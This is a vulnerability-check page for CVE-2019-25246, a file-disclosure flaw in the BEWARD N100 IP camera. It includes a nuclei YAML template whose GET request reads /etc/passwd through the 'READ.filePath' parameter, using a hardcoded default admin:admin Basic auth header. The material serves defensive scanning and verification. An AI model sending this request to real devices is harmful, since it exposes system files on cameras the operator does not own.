BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure

highseverity

8.6CVSS score

18.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability caused by improper validation of the 'READ.filePath' parameter in fileread script and SendCGICMD API, letting authenticated attackers read arbitrary system files.

Impact

Authenticated attackers can read sensitive system files, potentially exposing critical information.

Fix

Update to the latest version or apply vendor patches addressing this vulnerability

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/operator/fileread?READ.filePath=/etc/passwd
Positive when: matches /root:[x*]:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-25246 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-25246

info:
  name: BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure
  author: geeknik,liangtovi-debug
  severity: high
  description: |
    Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability caused by improper validation of the 'READ.filePath' parameter in fileread script and SendCGICMD API, letting authenticated attackers read arbitrary system files.
  impact: |
    Authenticated attackers can read sensitive system files, potentially exposing critical information.
  remediation: |
    Update to the latest version or apply vendor patches addressing this vulnerability
  reference:
    - https://www.exploit-db.com/exploits/46320
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25246
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2019-25246
    epss-score: 0.18756
    epss-percentile: 0.973
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
    vendor: beward
    product: n100_h.264_vga_ip_camera
  tags: cve,cve2019,iot,camera,disclosure,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/operator/fileread?READ.filePath=/etc/passwd"

    headers:
      Authorization: "Basic YWRtaW46YWRtaW4="

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'root:[x*]:0:0:'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from